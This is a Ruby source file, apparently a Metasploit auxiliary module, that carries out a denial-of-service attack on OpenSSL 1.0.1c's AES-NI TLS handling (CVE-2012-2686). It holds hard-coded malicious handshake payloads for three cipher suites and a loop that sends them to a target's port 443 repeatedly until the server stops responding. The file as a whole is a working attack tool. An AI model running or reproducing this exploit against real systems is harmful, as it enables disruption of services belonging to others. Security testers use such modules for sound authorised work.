170 lines
5.7 KiB
Ruby
170 lines
5.7 KiB
Ruby
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# auxilary/dos/ssl/openssl_aesni
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS',
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'Description' => %q{
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The AES-NI implementation of OpenSSL 1.0.1c does not
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properly compute the length of an encrypte message when used
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with a TLS version 1.1 or above. This leads to an integer
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underflow which can cause a DoS.
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},
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'Author' => [
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'Wolfgang Ettlinger <wolfgang.ettlinger[at]gmail.com>'
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],
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'License' => BSD_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-2686'],
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[ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt']
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],
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'DisclosureDate' => 'Feb 05 2013'))
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register_options(
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[
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Opt::RPORT(443),
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OptInt.new('MAX_TRIES', [false, "Maximum number of tries", 300])
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], self.class)
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end
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def run
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# Client Hello
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p1 =
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"\x16\x03\x01\x00\x7e\x01\x00\x00\x7a\x03\x02\x50\xeb\xf2\x4a\xaf"<<
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"\x74\xf5\xe3\x55\x6a\xae\xcf\x88\x36\x7c\xd9\xe5\x1b\xcc\x09\xee"<<
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"\x6f\x42\x30\x3b\x49\x55\xf8\xaa\x11\x32\xeb\x00\x00\x08\xc0\x13"<<
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"\x00\x39\x00\x35\x00\xff\x01\x00\x00\x49\x00\x0b\x00\x04\x03\x00"<<
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"\x01\x02\x00\x0a\x00\x34\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b"<<
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"\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06"<<
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"\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01"<<
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"\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0f"<<
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"\x00\x01\x01"
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# Client Key Exchange, Change Cipher Spec, Encrypted Handshake
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# AES256-SHA
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p2_aes_sha =
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"\x16\x03\x02\x01\x06\x10\x00\x01\x02\x01\x00\x4c\xee\x18\xe2\xec"<<
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"\xa9\x9d\xd7\x10\xd0\xff\x6f\xa8\x10\xf5\x9c\xa0\x91\x38\x93\x93"<<
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"\xaa\x71\x07\x69\xb6\x22\x81\x2d\xcd\xe0\x8f\x95\xf2\x9b\xaa\x49"<<
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"\x18\x15\x53\xc3\x34\x15\x81\xab\x20\x72\x16\x5b\xf2\xca\x13\x9e"<<
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"\x11\x6e\x3c\xf5\x71\x7c\x19\xf4\x7d\x35\x71\x25\x6e\xbe\xee\xdf"<<
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"\x1d\x55\xc9\x38\xac\xbb\x88\xab\xd0\x18\x7d\x5f\xaa\x3c\x91\x2f"<<
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"\xd2\x64\x7c\x15\x91\xa6\xe7\xb7\x0c\x01\xb3\xc7\x37\xc1\x3a\xb2"<<
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"\xde\x59\x6e\x8f\x7a\xde\x22\x59\x6c\xb7\x91\x21\x8f\xff\x56\x2c"<<
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"\x5f\xfb\x54\x7f\xd1\x1a\x00\x0e\x02\xb2\x4e\x62\xfd\xe2\xc0\x8f"<<
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"\x56\x52\x8a\x4c\x44\x01\x5f\x21\xf9\xd5\xb3\xeb\xab\x39\xcf\x4e"<<
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"\xed\x78\xad\xea\xc7\x43\x80\x3f\xf2\x41\xbe\x5c\x83\xa5\x54\x6f"<<
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"\x3c\xfb\x15\xed\x3c\x83\xf0\x3b\xd2\x7c\x5d\xf6\x82\xcb\x82\xb6"<<
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"\x6a\x8e\x94\xf9\x22\x5a\x17\x20\x82\x21\x4e\x83\x01\x81\x06\x9e"<<
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"\x21\xba\x16\xa4\xda\xcd\x8e\x1c\x8c\xe7\x19\x96\x2a\xec\x90\x6a"<<
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"\x16\xac\x12\x68\xbd\xf7\x4b\x6c\x3c\x91\x8b\xe7\x34\x03\x91\x65"<<
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"\x61\x57\xbc\x3a\x66\x3b\x7b\xb1\x57\xcd\x19\x5c\x4a\x69\x43\xb2"<<
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"\x67\xaf\x38\x5c\x1a\x7e\x80\x78\x90\x25\xb8\x14\x03\x02\x00\x01"<<
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"\x01\x16\x03\x02\x00\x40\x7d\xf4\x2c\x8c\x64\x74\xa5\x98\x02\x41"<<
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"\xac\x97\xfd\x53\x15\x4c\xbf\x16\x08\x26\xe0\x6c\x22\x70\x5f\x36"<<
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"\x75\x75\x96\xf9\x6b\x9f\xb4\xc3\x38\xa7\x14\xac\x21\x89\xec\xd6"<<
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"\x37\x28\xf3\x0d\xdf\xb3\x1b\xac\x96\xf3\x16\x5c\xc3\x6b\x71\x1c"<<
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"\xdb\x0d\x04\x96\x21\xd2"
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# DHE-RSA-AES256-SHA
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p2_dhe_rsa_aes256_sha =
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"\x16\x03\x02\x00\x46\x10\x00\x00\x42\x00\x40\x43\xaf\x48\x16\x8d"<<
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"\x17\xb9\xb0\xb6\xbc\x68\xab\x99\xf9\x30\xc9\xb1\xa2\x3b\x4f\x79"<<
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"\xaa\x76\x5c\x0d\x61\xa0\x19\x55\x11\x20\xe8\xbb\xab\x69\xf3\xeb"<<
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"\xff\x81\x1d\x16\x0d\x03\xaf\xb9\x70\xae\x72\x5c\xd8\xc7\x28\x2c"<<
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"\xac\xd5\x84\x2c\xaf\x2a\x57\x46\x71\xca\x73\x14\x03\x02\x00\x01"<<
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"\x01\x16\x03\x02\x00\x40\xff\x62\x0f\x7a\xb2\x79\xfe\x78\xce\xb9"<<
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"\xde\xc4\xef\x66\x2f\xed\x1a\x37\xfe\x47\xdd\xde\x9c\xe0\x42\xbc"<<
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"\x93\x20\x65\x05\xd3\x50\x14\x1c\x6c\xb1\x7a\x3a\x7d\x91\x92\xbb"<<
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"\x9d\x42\x78\xbf\xe4\x08\xa0\xfd\x9c\xeb\x24\x29\x3b\xed\xc8\x54"<<
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"\x3d\xd3\xa2\xff\xb0\x8b"
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# ECDHE-RSA-AES128-SHA
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p2_ecdhe_rsa_aes128_sha =
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"\x16\x03\x02\x00\x46\x10\x00\x00\x42\x41\x04\x2f\x22\xf4\x06\x3f"<<
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"\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8\x03\xe5\xaa\x36\xeb\x0f"<<
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"\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69\x5b\x38\x95\x58\xb6\x0d"<<
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"\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6\xb2\xe6\x8b\x2a\xd9\x03"<<
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"\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73\x40\x14\x03\x02\x00\x01"<<
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"\x01\x16\x03\x02\x00\x40\x8c\xc6\x4d\xdc\x42\x03\x64\xa3\xc0\xf4"<<
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"\x94\xda\xa4\x12\x68\x78\xfd\x5b\x44\xaf\xa3\x91\x63\x75\x26\x93"<<
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"\x14\xad\x86\xa7\x4f\x5a\x2e\xcb\x13\x17\xb7\xdf\x67\x64\x1b\x10"<<
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"\xc3\x9f\x68\xaf\x92\x38\xbf\x67\xc6\x18\x5b\x78\xc9\x99\xc3\x70"<<
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"\x89\x09\xe2\x3f\x3e\x1f"
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maxtries = datastore['MAX_TRIES']
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success = false
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for i in 0..maxtries
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print_status("Try \##{i}")
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connect
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sock.put(p1)
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resp = sock.recv(4096)
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cs = get_cipher_suite(resp)
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if cs == 0xc013 # ECDHE-RSA-AES128-SHA
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p2 = p2_ecdhe_rsa_aes128_sha
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elsif cs == 0x0039 # DHE-RSA-AES256-SHA
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p2 = p2_dhe_rsa_aes256_sha
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elsif cs == 0x0035 # AES256-SHA
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p2 = p2_aes_sha
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else
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print_error("No common ciphers!")
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return
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end
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sock.put(p2)
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alert = nil
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timeout(2) do
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alert = sock.recv(4096)
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end
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disconnect
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if alert == ''
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print_status("DoS successful. process on #{rhost} did not respond.")
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success = true
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break
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end
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end
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if success == false
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print_status("DoS unsuccessful.")
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end
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end
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def get_cipher_suite(resp)
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offset = 0
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while offset < resp.length
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type = (resp[offset, 1]).unpack("C")[0]
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if not type == 22 # Handshake
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return nil
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end
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len = (resp[offset+3, 2]).unpack("n")[0]
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hstype = (resp[offset+5, 1]).unpack("C")[0]
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if hstype == 2
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return (resp[offset+44, 2]).unpack("n")[0]
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end
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offset += len
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end
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end
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end
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